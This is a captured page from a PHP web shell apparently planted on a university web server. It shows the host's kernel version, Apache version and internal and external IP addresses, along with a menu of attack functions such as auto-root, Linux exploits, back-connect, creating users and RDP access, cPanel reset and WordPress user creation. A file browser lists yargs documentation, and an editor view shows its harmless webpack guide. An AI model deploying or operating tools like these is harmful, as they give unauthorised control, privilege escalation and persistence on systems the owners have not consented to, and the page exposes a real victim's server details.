Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.118.210.183
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
node-yargs /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
CHANGELOG-historical.md.gz
22.6
KB
-rw-r--r--
CODE_OF_CONDUCT.md
3.14
KB
-rw-r--r--
README.md
3.97
KB
-rw-r--r--
advanced.md.gz
5.39
KB
-rw-r--r--
api.md.gz
13.49
KB
-rw-r--r--
changelog.Debian.gz
910
B
-rw-r--r--
contributing.md
1.04
KB
-rw-r--r--
copyright
1.49
KB
-rw-r--r--
examples.md.gz
2.03
KB
-rw-r--r--
tricks.md
2.21
KB
-rw-r--r--
typescript.md
1.41
KB
-rw-r--r--
webpack.md
1.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : webpack.md
# Webpack usage examples ## Install dependencies ```bash $ npm install --save-dev webpack webpack-cli yargs ``` Additional dependencies for typescript users: ```bash $ npm install --save-dev ts-loader typescript @types/yargs ``` ## Sample program Create `src/index.js`: ```js const yargs = require('yargs') console.log(yargs.parse()) ``` Or for typescript users, `src/index.ts`: ```ts import yargs = require('yargs'); console.log(yargs.parse()); ``` along with its `tsconfig.json`: ```json { "compilerOptions": { "sourceMap": true } } ``` ## Webpack configuration Create `webpack.config.js`: ```js const path = require('path'); module.exports = { entry: './src/index.js', output: { path: path.resolve(__dirname, 'dist'), filename: 'index.js' }, stats: { // Ignore warnings due to yarg's dynamic module loading warningsFilter: [/node_modules\/yargs/] }, target: 'node' } ``` For typescript users, replace : ```js module.exports = { entry: './src/index.js', ... } ``` by: ```js module.exports = { entry: './src/index.ts', module: { rules: [ { test: /\.ts$/, use: [ 'ts-loader', ] } ] }, resolve: { extensions: ['.ts', '.js'], }, ... } ``` ## Build ```bash $ ./node_modules/.bin/webpack --mode=production ``` ## Run ```bash $ rm -rf node_modules $ node dist/index.js { _: [], '$0': 'dist/index.js' } ```
Close